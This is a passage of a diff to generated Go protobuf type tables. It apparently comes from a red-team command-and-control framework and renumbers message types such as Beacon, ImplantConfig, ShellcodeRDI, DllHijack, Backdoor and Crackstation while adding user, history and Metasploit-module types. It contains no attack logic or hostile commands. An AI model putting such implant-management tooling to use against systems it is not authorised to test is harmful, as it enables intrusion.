0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -12709,7 +13259,7 @@ func file_clientpb_client_proto_rawDescGZIP() []byte { } var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 13) -var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 129) +var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 135) var file_clientpb_client_proto_goTypes = []interface{}{ (OutputFormat)(0), // 0: clientpb.OutputFormat (StageProtocol)(0), // 1: clientpb.StageProtocol @@ -12725,261 +13275,274 @@ var file_clientpb_client_proto_goTypes = []interface{}{ (CrackWorkloadProfile)(0), // 11: clientpb.CrackWorkloadProfile (CrackFileType)(0), // 12: clientpb.CrackFileType (*Version)(nil), // 13: clientpb.Version - (*ClientLogData)(nil), // 14: clientpb.ClientLogData - (*Session)(nil), // 15: clientpb.Session - (*Beacon)(nil), // 16: clientpb.Beacon - (*Beacons)(nil), // 17: clientpb.Beacons - (*BeaconTask)(nil), // 18: clientpb.BeaconTask - (*BeaconTasks)(nil), // 19: clientpb.BeaconTasks - (*ImplantC2)(nil), // 20: clientpb.ImplantC2 - (*ImplantConfig)(nil), // 21: clientpb.ImplantConfig - (*TrafficEncoder)(nil), // 22: clientpb.TrafficEncoder - (*TrafficEncoderMap)(nil), // 23: clientpb.TrafficEncoderMap - (*TrafficEncoderTest)(nil), // 24: clientpb.TrafficEncoderTest - (*TrafficEncoderTests)(nil), // 25: clientpb.TrafficEncoderTests - (*ExternalImplantConfig)(nil), // 26: clientpb.ExternalImplantConfig - (*ExternalImplantBinary)(nil), // 27: clientpb.ExternalImplantBinary - (*ImplantBuilds)(nil), // 28: clientpb.ImplantBuilds - (*ImplantStageReq)(nil), // 29: clientpb.ImplantStageReq - (*ImplantBuild)(nil), // 30: clientpb.ImplantBuild - (*CompilerTarget)(nil), // 31: clientpb.CompilerTarget - (*CrossCompiler)(nil), // 32: clientpb.CrossCompiler - (*Compiler)(nil), // 33: clientpb.Compiler - (*DeleteReq)(nil), // 34: clientpb.DeleteReq - (*DNSCanary)(nil), // 35: clientpb.DNSCanary - (*Canaries)(nil), // 36: clientpb.Canaries - (*UniqueWGIP)(nil), // 37: clientpb.UniqueWGIP - (*ImplantProfile)(nil), // 38: clientpb.ImplantProfile - (*ImplantProfiles)(nil), // 39: clientpb.ImplantProfiles - (*RegenerateReq)(nil), // 40: clientpb.RegenerateReq - (*Job)(nil), // 41: clientpb.Job - (*Jobs)(nil), // 42: clientpb.Jobs - (*KillJobReq)(nil), // 43: clientpb.KillJobReq - (*RestartJobReq)(nil), // 44: clientpb.RestartJobReq - (*KillJob)(nil), // 45: clientpb.KillJob - (*ListenerJob)(nil), // 46: clientpb.ListenerJob - (*MultiplayerListenerReq)(nil), // 47: clientpb.MultiplayerListenerReq - (*MTLSListenerReq)(nil), // 48: clientpb.MTLSListenerReq - (*WGListenerReq)(nil), // 49: clientpb.WGListenerReq - (*DNSListenerReq)(nil), // 50: clientpb.DNSListenerReq - (*HTTPListenerReq)(nil), // 51: clientpb.HTTPListenerReq - (*NamedPipesReq)(nil), // 52: clientpb.NamedPipesReq - (*NamedPipes)(nil), // 53: clientpb.NamedPipes - (*TCPPivotReq)(nil), // 54: clientpb.TCPPivotReq - (*TCPPivot)(nil), // 55: clientpb.TCPPivot - (*Sessions)(nil), // 56: clientpb.Sessions - (*RenameReq)(nil), // 57: clientpb.RenameReq - (*GenerateReq)(nil), // 58: clientpb.GenerateReq - (*GenerateStageReq)(nil), // 59: clientpb.GenerateStageReq - (*Generate)(nil), // 60: clientpb.Generate - (*MSFReq)(nil), // 61: clientpb.MSFReq - (*MSFRemoteReq)(nil), // 62: clientpb.MSFRemoteReq - (*StagerListenerReq)(nil), // 63: clientpb.StagerListenerReq - (*StagerListener)(nil), // 64: clientpb.StagerListener - (*ShellcodeRDIReq)(nil), // 65: clientpb.ShellcodeRDIReq - (*ShellcodeRDI)(nil), // 66: clientpb.ShellcodeRDI - (*MsfStagerReq)(nil), // 67: clientpb.MsfStagerReq - (*MsfStager)(nil), // 68: clientpb.MsfStager - (*GetSystemReq)(nil), // 69: clientpb.GetSystemReq - (*MigrateReq)(nil), // 70: clientpb.MigrateReq - (*CreateTunnelReq)(nil), // 71: clientpb.CreateTunnelReq - (*CreateTunnel)(nil), // 72: clientpb.CreateTunnel - (*CloseTunnelReq)(nil), // 73: clientpb.CloseTunnelReq - (*PivotGraphEntry)(nil), // 74: clientpb.PivotGraphEntry - (*PivotGraph)(nil), // 75: clientpb.PivotGraph - (*Client)(nil), // 76: clientpb.Client - (*Event)(nil), // 77: clientpb.Event - (*Operators)(nil), // 78: clientpb.Operators - (*Operator)(nil), // 79: clientpb.Operator - (*WebContent)(nil), // 80: clientpb.WebContent - (*WebsiteAddContent)(nil), // 81: clientpb.WebsiteAddContent - (*WebsiteRemoveContent)(nil), // 82: clientpb.WebsiteRemoveContent - (*Website)(nil), // 83: clientpb.Website - (*Websites)(nil), // 84: clientpb.Websites - (*WGClientConfig)(nil), // 85: clientpb.WGClientConfig - (*Loot)(nil), // 86: clientpb.Loot - (*AllLoot)(nil), // 87: clientpb.AllLoot - (*IOC)(nil), // 88: clientpb.IOC - (*ExtensionData)(nil), // 89: clientpb.ExtensionData - (*Host)(nil), // 90: clientpb.Host - (*AllHosts)(nil), // 91: clientpb.AllHosts - (*DllHijackReq)(nil), // 92: clientpb.DllHijackReq - (*DllHijack)(nil), // 93: clientpb.DllHijack - (*BackdoorReq)(nil), // 94: clientpb.BackdoorReq - (*Backdoor)(nil), // 95: clientpb.Backdoor - (*ShellcodeEncodeReq)(nil), // 96: clientpb.ShellcodeEncodeReq - (*ShellcodeEncode)(nil), // 97: clientpb.ShellcodeEncode - (*ShellcodeEncoderMap)(nil), // 98: clientpb.ShellcodeEncoderMap - (*ExternalGenerateReq)(nil), // 99: clientpb.ExternalGenerateReq - (*Builders)(nil), // 100: clientpb.Builders - (*Builder)(nil), // 101: clientpb.Builder - (*HTTPC2Configs)(nil), // 102: clientpb.HTTPC2Configs - (*C2ProfileReq)(nil), // 103: clientpb.C2ProfileReq - (*HTTPC2ConfigReq)(nil), // 104: clientpb.HTTPC2ConfigReq - (*HTTPC2Config)(nil), // 105: clientpb.HTTPC2Config - (*HTTPC2ServerConfig)(nil), // 106: clientpb.HTTPC2ServerConfig - (*HTTPC2ImplantConfig)(nil), // 107: clientpb.HTTPC2ImplantConfig - (*HTTPC2Cookie)(nil), // 108: clientpb.HTTPC2Cookie - (*HTTPC2Header)(nil), // 109: clientpb.HTTPC2Header - (*HTTPC2URLParameter)(nil), // 110: clientpb.HTTPC2URLParameter - (*HTTPC2PathSegment)(nil), // 111: clientpb.HTTPC2PathSegment - (*Credential)(nil), // 112: clientpb.Credential - (*Credentials)(nil), // 113: clientpb.Credentials - (*Crackstations)(nil), // 114: clientpb.Crackstations - (*CrackstationStatus)(nil), // 115: clientpb.CrackstationStatus - (*CrackSyncStatus)(nil), // 116: clientpb.CrackSyncStatus - (*CrackBenchmark)(nil), // 117: clientpb.CrackBenchmark - (*CrackTask)(nil), // 118: clientpb.CrackTask - (*Crackstation)(nil), // 119: clientpb.Crackstation - (*CUDABackendInfo)(nil), // 120: clientpb.CUDABackendInfo - (*OpenCLBackendInfo)(nil), // 121: clientpb.OpenCLBackendInfo - (*MetalBackendInfo)(nil), // 122: clientpb.MetalBackendInfo - (*CrackCommand)(nil), // 123: clientpb.CrackCommand - (*CrackConfig)(nil), // 124: clientpb.CrackConfig - (*CrackFiles)(nil), // 125: clientpb.CrackFiles - (*CrackFile)(nil), // 126: clientpb.CrackFile - (*CrackFileChunk)(nil), // 127: clientpb.CrackFileChunk - (*MonitoringProviders)(nil), // 128: clientpb.MonitoringProviders - (*MonitoringProvider)(nil), // 129: clientpb.MonitoringProvider - (*ResourceID)(nil), // 130: clientpb.ResourceID - nil, // 131: clientpb.TrafficEncoderMap.EncodersEntry - nil, // 132: clientpb.ImplantBuilds.ConfigsEntry - nil, // 133: clientpb.ImplantBuilds.ResourceIDsEntry - nil, // 134: clientpb.ImplantBuilds.StagedEntry - nil, // 135: clientpb.WebsiteAddContent.ContentsEntry - nil, // 136: clientpb.Website.ContentsEntry - nil, // 137: clientpb.Host.ExtensionDataEntry - nil, // 138: clientpb.ShellcodeEncoderMap.EncodersEntry - nil, // 139: clientpb.CrackSyncStatus.ProgressEntry - nil, // 140: clientpb.CrackBenchmark.BenchmarksEntry - nil, // 141: clientpb.Crackstation.BenchmarksEntry - (*commonpb.File)(nil), // 142: commonpb.File - (*commonpb.Request)(nil), // 143: commonpb.Request - (*commonpb.Response)(nil), // 144: commonpb.Response + (*Users)(nil), // 14: clientpb.Users + (*User)(nil), // 15: clientpb.User + (*ClientLogData)(nil), // 16: clientpb.ClientLogData + (*ImplantCommand)(nil), // 17: clientpb.ImplantCommand + (*HistoryRequest)(nil), // 18: clientpb.HistoryRequest + (*History)(nil), // 19: clientpb.History + (*Session)(nil), // 20: clientpb.Session + (*Beacon)(nil), // 21: clientpb.Beacon + (*Beacons)(nil), // 22: clientpb.Beacons + (*BeaconTask)(nil), // 23: clientpb.BeaconTask + (*BeaconTasks)(nil), // 24: clientpb.BeaconTasks + (*ImplantC2)(nil), // 25: clientpb.ImplantC2 + (*ImplantConfig)(nil), // 26: clientpb.ImplantConfig + (*TrafficEncoder)(nil), // 27: clientpb.TrafficEncoder + (*TrafficEncoderMap)(nil), // 28: clientpb.TrafficEncoderMap + (*TrafficEncoderTest)(nil), // 29: clientpb.TrafficEncoderTest + (*TrafficEncoderTests)(nil), // 30: clientpb.TrafficEncoderTests + (*ExternalImplantConfig)(nil), // 31: clientpb.ExternalImplantConfig + (*ExternalImplantBinary)(nil), // 32: clientpb.ExternalImplantBinary + (*ImplantBuilds)(nil), // 33: clientpb.ImplantBuilds + (*ImplantStageReq)(nil), // 34: clientpb.ImplantStageReq + (*ImplantBuild)(nil), // 35: clientpb.ImplantBuild + (*CompilerTarget)(nil), // 36: clientpb.CompilerTarget + (*CrossCompiler)(nil), // 37: clientpb.CrossCompiler + (*Compiler)(nil), // 38: clientpb.Compiler + (*MetasploitModule)(nil), // 39: clientpb.MetasploitModule + (*MetasploitCompiler)(nil), // 40: clientpb.MetasploitCompiler + (*DeleteReq)(nil), // 41: clientpb.DeleteReq + (*DNSCanary)(nil), // 42: clientpb.DNSCanary + (*Canaries)(nil), // 43: clientpb.Canaries + (*UniqueWGIP)(nil), // 44: clientpb.UniqueWGIP + (*ImplantProfile)(nil), // 45: clientpb.ImplantProfile + (*ImplantProfiles)(nil), // 46: clientpb.ImplantProfiles + (*RegenerateReq)(nil), // 47: clientpb.RegenerateReq + (*Job)(nil), // 48: clientpb.Job + (*Jobs)(nil), // 49: clientpb.Jobs + (*KillJobReq)(nil), // 50: clientpb.KillJobReq + (*RestartJobReq)(nil), // 51: clientpb.RestartJobReq + (*KillJob)(nil), // 52: clientpb.KillJob + (*ListenerJob)(nil), // 53: clientpb.ListenerJob + (*MultiplayerListenerReq)(nil), // 54: clientpb.MultiplayerListenerReq + (*MTLSListenerReq)(nil), // 55: clientpb.MTLSListenerReq + (*WGListenerReq)(nil), // 56: clientpb.WGListenerReq + (*DNSListenerReq)(nil), // 57: clientpb.DNSListenerReq + (*HTTPListenerReq)(nil), // 58: clientpb.HTTPListenerReq + (*NamedPipesReq)(nil), // 59: clientpb.NamedPipesReq + (*NamedPipes)(nil), // 60: clientpb.NamedPipes + (*TCPPivotReq)(nil), // 61: clientpb.TCPPivotReq + (*TCPPivot)(nil), // 62: clientpb.TCPPivot + (*Sessions)(nil), // 63: clientpb.Sessions + (*RenameReq)(nil), // 64: clientpb.RenameReq + (*GenerateReq)(nil), // 65: clientpb.GenerateReq + (*GenerateStageReq)(nil), // 66: clientpb.GenerateStageReq + (*Generate)(nil), // 67: clientpb.Generate + (*MSFReq)(nil), // 68: clientpb.MSFReq + (*MSFRemoteReq)(nil), // 69: clientpb.MSFRemoteReq + (*StagerListenerReq)(nil), // 70: clientpb.StagerListenerReq + (*StagerListener)(nil), // 71: clientpb.StagerListener + (*ShellcodeRDIReq)(nil), // 72: clientpb.ShellcodeRDIReq + (*ShellcodeRDI)(nil), // 73: clientpb.ShellcodeRDI + (*MsfStagerReq)(nil), // 74: clientpb.MsfStagerReq + (*MsfStager)(nil), // 75: clientpb.MsfStager + (*GetSystemReq)(nil), // 76: clientpb.GetSystemReq + (*MigrateReq)(nil), // 77: clientpb.MigrateReq + (*CreateTunnelReq)(nil), // 78: clientpb.CreateTunnelReq + (*CreateTunnel)(nil), // 79: clientpb.CreateTunnel + (*CloseTunnelReq)(nil), // 80: clientpb.CloseTunnelReq + (*PivotGraphEntry)(nil), // 81: clientpb.PivotGraphEntry + (*PivotGraph)(nil), // 82: clientpb.PivotGraph + (*Client)(nil), // 83: clientpb.Client + (*Event)(nil), // 84: clientpb.Event + (*Operator)(nil), // 85: clientpb.Operator + (*WebContent)(nil), // 86: clientpb.WebContent + (*WebsiteAddContent)(nil), // 87: clientpb.WebsiteAddContent + (*WebsiteRemoveContent)(nil), // 88: clientpb.WebsiteRemoveContent + (*Website)(nil), // 89: clientpb.Website + (*Websites)(nil), // 90: clientpb.Websites + (*WGClientConfig)(nil), // 91: clientpb.WGClientConfig + (*Loot)(nil), // 92: clientpb.Loot + (*AllLoot)(nil), // 93: clientpb.AllLoot + (*IOC)(nil), // 94: clientpb.IOC + (*ExtensionData)(nil), // 95: clientpb.ExtensionData + (*Host)(nil), // 96: clientpb.Host + (*AllHosts)(nil), // 97: clientpb.AllHosts + (*DllHijackReq)(nil), // 98: clientpb.DllHijackReq + (*DllHijack)(nil), // 99: clientpb.DllHijack + (*BackdoorReq)(nil), // 100: clientpb.BackdoorReq + (*Backdoor)(nil), // 101: clientpb.Backdoor + (*ShellcodeEncodeReq)(nil), // 102: clientpb.ShellcodeEncodeReq + (*ShellcodeEncode)(nil), // 103: clientpb.ShellcodeEncode + (*ShellcodeEncoderMap)(nil), // 104: clientpb.ShellcodeEncoderMap + (*ExternalGenerateReq)(nil), // 105: clientpb.ExternalGenerateReq + (*Builders)(nil), // 106: clientpb.Builders + (*Builder)(nil), // 107: clientpb.Builder + (*HTTPC2Configs)(nil), // 108: clientpb.HTTPC2Configs + (*C2ProfileReq)(nil), // 109: clientpb.C2ProfileReq + (*HTTPC2ConfigReq)(nil), // 110: clientpb.HTTPC2ConfigReq + (*HTTPC2Config)(nil), // 111: clientpb.HTTPC2Config + (*HTTPC2ServerConfig)(nil), // 112: clientpb.HTTPC2ServerConfig + (*HTTPC2ImplantConfig)(nil), // 113: clientpb.HTTPC2ImplantConfig + (*HTTPC2Cookie)(nil), // 114: clientpb.HTTPC2Cookie + (*HTTPC2Header)(nil), // 115: clientpb.HTTPC2Header + (*HTTPC2URLParameter)(nil), // 116: clientpb.HTTPC2URLParameter + (*HTTPC2PathSegment)(nil), // 117: clientpb.HTTPC2PathSegment + (*Credential)(nil), // 118: clientpb.Credential + (*Credentials)(nil), // 119: clientpb.Credentials + (*Crackstations)(nil), // 120: clientpb.Crackstations + (*CrackstationStatus)(nil), // 121: clientpb.CrackstationStatus + (*CrackSyncStatus)(nil), // 122: clientpb.CrackSyncStatus + (*CrackBenchmark)(nil), // 123: clientpb.CrackBenchmark + (*CrackTask)(nil), // 124: clientpb.CrackTask + (*Crackstation)(nil), // 125: clientpb.Crackstation + (*CUDABackendInfo)(nil), // 126: clientpb.CUDABackendInfo + (*OpenCLBackendInfo)(nil), // 127: clientpb.OpenCLBackendInfo + (*MetalBackendInfo)(nil), // 128: clientpb.MetalBackendInfo + (*CrackCommand)(nil), // 129: clientpb.CrackCommand + (*CrackConfig)(nil), // 130: clientpb.CrackConfig + (*CrackFiles)(nil), // 131: clientpb.CrackFiles + (*CrackFile)(nil), // 132: clientpb.CrackFile + (*CrackFileChunk)(nil), // 133: clientpb.CrackFileChunk + (*MonitoringProviders)(nil), // 134: clientpb.MonitoringProviders + (*MonitoringProvider)(nil), // 135: clientpb.MonitoringProvider + (*ResourceID)(nil), // 136: clientpb.ResourceID + nil, // 137: clientpb.TrafficEncoderMap.EncodersEntry + nil, // 138: clientpb.ImplantBuilds.ConfigsEntry + nil, // 139: clientpb.ImplantBuilds.ResourceIDsEntry + nil, // 140: clientpb.ImplantBuilds.StagedEntry + nil, // 141: clientpb.WebsiteAddContent.ContentsEntry + nil, // 142: clientpb.Website.ContentsEntry + nil, // 143: clientpb.Host.ExtensionDataEntry + nil, // 144: clientpb.ShellcodeEncoderMap.EncodersEntry + nil, // 145: clientpb.CrackSyncStatus.ProgressEntry + nil, // 146: clientpb.CrackBenchmark.BenchmarksEntry + nil, // 147: clientpb.Crackstation.BenchmarksEntry + (*commonpb.Request)(nil), // 148: commonpb.Request + (*commonpb.Response)(nil), // 149: commonpb.Response + (*commonpb.File)(nil), // 150: commonpb.File } var file_clientpb_client_proto_depIdxs = []int32{ - 16, // 0: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon - 18, // 1: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask - 30, // 2: clientpb.ImplantConfig.ImplantBuilds:type_name -> clientpb.ImplantBuild - 20, // 3: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2 - 0, // 4: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat - 142, // 5: clientpb.ImplantConfig.Assets:type_name -> commonpb.File - 142, // 6: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File - 131, // 7: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry - 22, // 8: clientpb.TrafficEncoderTests.Encoder:type_name -> clientpb.TrafficEncoder - 24, // 9: clientpb.TrafficEncoderTests.Tests:type_name -> clientpb.TrafficEncoderTest - 21, // 10: clientpb.ExternalImplantConfig.Config:type_name -> clientpb.ImplantConfig - 30, // 11: clientpb.ExternalImplantConfig.Build:type_name -> clientpb.ImplantBuild - 105, // 12: clientpb.ExternalImplantConfig.HTTPC2:type_name -> clientpb.HTTPC2Config - 142, // 13: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File - 132, // 14: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry - 133, // 15: clientpb.ImplantBuilds.ResourceIDs:type_name -> clientpb.ImplantBuilds.ResourceIDsEntry - 134, // 16: clientpb.ImplantBuilds.staged:type_name -> clientpb.ImplantBuilds.StagedEntry - 0, // 17: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat - 31, // 18: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget - 32, // 19: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler - 31, // 20: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget - 35, // 21: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary - 21, // 22: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig - 38, // 23: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile - 41, // 24: clientpb.Jobs.Active:type_name -> clientpb.Job - 48, // 25: clientpb.ListenerJob.MTLSConf:type_name -> clientpb.MTLSListenerReq - 49, // 26: clientpb.ListenerJob.WGConf:type_name -> clientpb.WGListenerReq - 50, // 27: clientpb.ListenerJob.DNSConf:type_name -> clientpb.DNSListenerReq - 51, // 28: clientpb.ListenerJob.HTTPConf:type_name -> clientpb.HTTPListenerReq - 47, // 29: clientpb.ListenerJob.MultiConf:type_name -> clientpb.MultiplayerListenerReq - 143, // 30: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request - 144, // 31: clientpb.NamedPipes.Response:type_name -> commonpb.Response - 143, // 32: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request - 144, // 33: clientpb.TCPPivot.Response:type_name -> commonpb.Response - 15, // 34: clientpb.Sessions.Sessions:type_name -> clientpb.Session - 21, // 35: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig - 142, // 36: clientpb.Generate.File:type_name -> commonpb.File - 143, // 37: clientpb.MSFReq.Request:type_name -> commonpb.Request - 143, // 38: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request - 1, // 39: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol - 1, // 40: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol - 142, // 41: clientpb.MsfStager.File:type_name -> commonpb.File - 21, // 42: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig - 143, // 43: clientpb.GetSystemReq.Request:type_name -> commonpb.Request - 21, // 44: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig - 3, // 45: clientpb.MigrateReq.Encoder:type_name -> clientpb.ShellcodeEncoder - 143, // 46: clientpb.MigrateReq.Request:type_name -> commonpb.Request - 143, // 47: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request - 143, // 48: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request - 15, // 49: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session - 74, // 50: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry - 74, // 51: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry - 79, // 52: clientpb.Client.Operator:type_name -> clientpb.Operator - 15, // 53: clientpb.Event.Session:type_name -> clientpb.Session - 41, // 54: clientpb.Event.Job:type_name -> clientpb.Job - 76, // 55: clientpb.Event.Client:type_name -> clientpb.Client - 79, // 56: clientpb.Operators.Operators:type_name -> clientpb.Operator - 135, // 57: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry - 136, // 58: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry - 83, // 59: clientpb.Websites.Websites:type_name -> clientpb.Website - 2, // 60: clientpb.Loot.FileType:type_name -> clientpb.FileType - 142, // 61: clientpb.Loot.File:type_name -> commonpb.File - 86, // 62: clientpb.AllLoot.Loot:type_name -> clientpb.Loot - 88, // 63: clientpb.Host.IOCs:type_name -> clientpb.IOC - 137, // 64: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry - 90, // 65: clientpb.AllHosts.Hosts:type_name -> clientpb.Host - 143, // 66: clientpb.DllHijackReq.Request:type_name -> commonpb.Request - 144, // 67: clientpb.DllHijack.Response:type_name -> commonpb.Response - 143, // 68: clientpb.BackdoorReq.Request:type_name -> commonpb.Request - 144, // 69: clientpb.Backdoor.Response:type_name -> commonpb.Response - 3, // 70: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder - 143, // 71: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request - 144, // 72: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response - 138, // 73: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry - 21, // 74: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig - 101, // 75: clientpb.Builders.Builders:type_name -> clientpb.Builder - 31, // 76: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget - 32, // 77: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler - 105, // 78: clientpb.HTTPC2Configs.configs:type_name -> clientpb.HTTPC2Config - 105, // 79: clientpb.HTTPC2ConfigReq.C2Config:type_name -> clientpb.HTTPC2Config - 106, // 80: clientpb.HTTPC2Config.ServerConfig:type_name -> clientpb.HTTPC2ServerConfig - 107, // 81: clientpb.HTTPC2Config.ImplantConfig:type_name -> clientpb.HTTPC2ImplantConfig - 109, // 82: clientpb.HTTPC2ServerConfig.Headers:type_name -> clientpb.HTTPC2Header - 108, // 83: clientpb.HTTPC2ServerConfig.Cookies:type_name -> clientpb.HTTPC2Cookie - 110, // 84: clientpb.HTTPC2ImplantConfig.ExtraURLParameters:type_name -> clientpb.HTTPC2URLParameter - 109, // 85: clientpb.HTTPC2ImplantConfig.Headers:type_name -> clientpb.HTTPC2Header - 111, // 86: clientpb.HTTPC2ImplantConfig.PathSegments:type_name -> clientpb.HTTPC2PathSegment - 4, // 87: clientpb.HTTPC2PathSegment.SegmentType:type_name -> clientpb.HTTPC2SegmentType - 5, // 88: clientpb.Credential.HashType:type_name -> clientpb.HashType - 112, // 89: clientpb.Credentials.Credentials:type_name -> clientpb.Credential - 119, // 90: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation - 6, // 91: clientpb.CrackstationStatus.State:type_name -> clientpb.States - 116, // 92: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus - 139, // 93: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry - 140, // 94: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry - 123, // 95: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand - 141, // 96: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry - 120, // 97: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo - 122, // 98: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo - 121, // 99: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo - 8, // 100: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode - 5, // 101: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType - 10, // 102: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat - 9, // 103: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding - 9, // 104: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding - 11, // 105: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile - 126, // 106: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile - 12, // 107: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType - 127, // 108: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk - 129, // 109: clientpb.MonitoringProviders.providers:type_name -> clientpb.MonitoringProvider - 22, // 110: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder - 21, // 111: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig - 130, // 112: clientpb.ImplantBuilds.ResourceIDsEntry.value:type_name -> clientpb.ResourceID - 80, // 113: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent - 80, // 114: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent - 89, // 115: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData - 3, // 116: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder - 117, // [117:117] is the sub-list for method output_type - 117, // [117:117] is the sub-list for method input_type - 117, // [117:117] is the sub-list for extension type_name - 117, // [117:117] is the sub-list for extension extendee - 0, // [0:117] is the sub-list for field type_name + 15, // 0: clientpb.Users.Users:type_name -> clientpb.User + 148, // 1: clientpb.ImplantCommand.Request:type_name -> commonpb.Request + 148, // 2: clientpb.HistoryRequest.Request:type_name -> commonpb.Request + 17, // 3: clientpb.History.Commands:type_name -> clientpb.ImplantCommand + 149, // 4: clientpb.History.Response:type_name -> commonpb.Response + 21, // 5: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon + 23, // 6: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask + 35, // 7: clientpb.ImplantConfig.ImplantBuilds:type_name -> clientpb.ImplantBuild + 25, // 8: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2 + 0, // 9: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat + 150, // 10: clientpb.ImplantConfig.Assets:type_name -> commonpb.File + 150, // 11: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File + 137, // 12: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry + 27, // 13: clientpb.TrafficEncoderTests.Encoder:type_name -> clientpb.TrafficEncoder + 29, // 14: clientpb.TrafficEncoderTests.Tests:type_name -> clientpb.TrafficEncoderTest + 26, // 15: clientpb.ExternalImplantConfig.Config:type_name -> clientpb.ImplantConfig + 35, // 16: clientpb.ExternalImplantConfig.Build:type_name -> clientpb.ImplantBuild + 111, // 17: clientpb.ExternalImplantConfig.HTTPC2:type_name -> clientpb.HTTPC2Config + 150, // 18: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File + 138, // 19: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry + 139, // 20: clientpb.ImplantBuilds.ResourceIDs:type_name -> clientpb.ImplantBuilds.ResourceIDsEntry + 140, // 21: clientpb.ImplantBuilds.staged:type_name -> clientpb.ImplantBuilds.StagedEntry + 0, // 22: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat + 36, // 23: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget + 37, // 24: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler + 36, // 25: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget + 39, // 26: clientpb.MetasploitCompiler.Encoders:type_name -> clientpb.MetasploitModule + 39, // 27: clientpb.MetasploitCompiler.Payloads:type_name -> clientpb.MetasploitModule + 42, // 28: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary + 26, // 29: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig + 45, // 30: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile + 48, // 31: 